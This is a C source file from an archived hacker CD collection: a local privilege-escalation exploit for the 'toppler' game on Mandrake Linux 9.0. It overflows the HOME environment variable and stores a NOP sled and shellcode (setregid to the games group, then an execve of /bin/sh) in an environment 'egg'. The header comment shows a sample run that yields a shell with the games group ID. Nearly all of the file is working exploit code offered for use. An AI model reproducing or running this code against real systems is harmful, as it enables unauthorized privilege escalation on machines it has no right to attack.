home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / FBHtoppler / FBHtoppler.c
Encoding:
C/C++ Source or Header  |  2003-08-21  |  3.0 KB  |  149 lines

  1.  
  2.  
  3.  
  4. /*
  5.         LOCAL TOPPLER EXPLOIT
  6.  
  7.     A Buffer overflow in HOME enviroment variable.
  8.     Just your standard stack overflow...
  9.  
  10.     [bobby@blah Code]$export HOME=`perl -e 'print"A"x144'`
  11.     
  12.     [bobby@blah Code]$ /usr/bin/toppler
  13.     Nebulous version 0.96
  14.     Segmentation fault
  15.  
  16.  
  17.     Should give a GID=20 on successful exploitation.
  18.  
  19.  
  20.     [bobby@blah Code]$ id
  21.     uid=501(bobby) gid=501(bobby) groups=501(bobby)
  22.  
  23.     
  24.     [bobby@blah Code]$ ./FBHtoppler
  25.     Using address: 0xbffff81c
  26.     sh-2.05b$id
  27.     uid=501(bobby) gid=20(games) groups=501(bobby)
  28.  
  29.  
  30.     Kinda weird but could be useful in some situations...:P
  31.  
  32.  
  33.        SYSTEM TESTED ON: 
  34.         Mandrake Linux release 9.0 (dolphin) for i586
  35.  
  36.  
  37.  
  38.  
  39.  
  40. Greetz: USG , DarkCode , DkD , Johan , s4t4nic_s0uls , Dj king  , hein
  41. , hyperd0t , 
  42.     RunningMan(thanx for the java), kafka ,Cc0d3r ,wazzabi(thx for the rza
  43. album)
  44.     
  45.     also , greetz to the dtor team.
  46.     
  47.     Not forgetting all of the FBH crew too.. heh .pk rules!!!
  48.     
  49.     
  50.     FBHowns@hushmail.com , comments + criticisms welcome :P
  51. */
  52.  
  53.  
  54.  
  55.  
  56. #include <stdlib.h>
  57. #include <stdio.h>
  58.  
  59. #define DEFAULT_OFFSET                  0
  60. #define BUFFER_SIZE                 250         // buffer is 144 , made larger
  61. by 100+ for easy exploiting
  62. #define EGG_SIZE                       2048
  63. #define NOP                            0x90
  64. #define ALIGN                1
  65. #define BINARY                "/usr/bin/toppler"    //path to binary
  66. char shellcode[] =
  67.  
  68.  
  69.  
  70. /*setregid(20,20) shellcode by me  */
  71.  
  72.  
  73. "\x31\xc0"            /* xor %eax, %eax */
  74. "\x31\xdb"            /* xor %ebx, %ebx */
  75. "\x31\xc9"            /* xor %ecx, %ecx */
  76. "\xb3\x14"            /* mov $0x14, %bl */
  77. "\xb1\x14"            /* mov $0x14, %cl */
  78. "\xb0\x47"            /* mov $0x47, %al */
  79. "\xcd\x80"            /* int $0x80      */    
  80.  
  81.  
  82.  
  83.  /*  Shellcode by Aleph One  */
  84.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  85.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  86.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  87.  
  88.  
  89.  
  90. unsigned long get_esp(void) {
  91.    __asm__("movl %esp,%eax");
  92. }
  93.  
  94. void main(int argc, char *argv[]) {
  95.   
  96.  
  97.   char *buffer, *ptr, *egg;
  98.   
  99.   long *address_p, addr;
  100.   
  101.   int offset= DEFAULT_OFFSET, bsize= BUFFER_SIZE;
  102.   
  103.   int i, egg_size= EGG_SIZE;
  104.  
  105.   if (argc > 1) bsize   = atoi(argv[1]);
  106.   if (argc > 2) offset  = atoi(argv[2]);
  107.   if (argc > 3) egg_size = atoi(argv[3]);
  108.  
  109.  
  110.   if (!(buffer = malloc(bsize))) {
  111.     printf("Can't allocate memory.\n");
  112.     exit(0);
  113.   }
  114.   
  115.   if (!(egg = malloc(egg_size))) {
  116.     printf("Can't allocate memory.\n");
  117.     exit(0);
  118.   }
  119.  
  120.   addr = get_esp() - offset;
  121.   printf("Using address: 0x%x\n", addr);
  122.  
  123.   ptr = buffer;
  124.   address_p = (long *) (ptr+ALIGN);    
  125.   for (i = 0; i < bsize; i+=4)
  126.     *(address_p++) = addr;
  127.  
  128.   ptr = egg;
  129.   for (i = 0; i < egg_size - strlen(shellcode) - 1; i++)
  130.     *(ptr++) = NOP;
  131.  
  132.   for (i = 0; i < strlen(shellcode); i++)
  133.     *(ptr++) = shellcode[i];
  134.  
  135.   buffer[bsize - 1] = '\0';         // '\0' or else there wil be trouble
  136.   egg[egg_size - 1] = '\0';
  137.  
  138.   memcpy(egg,"EGG=",4);
  139.   putenv(egg);                   // put our made egg in the env
  140.   memcpy(buffer,"HOME=",5);
  141.   putenv(buffer);               // put our prepared buffer in env
  142.   execlp(BINARY,BINARY,0);          // execute it
  143. }
  144.  
  145.  
  146.  
  147. ------------------------------FBHtoppler.c---------------------------
  148. --
  149.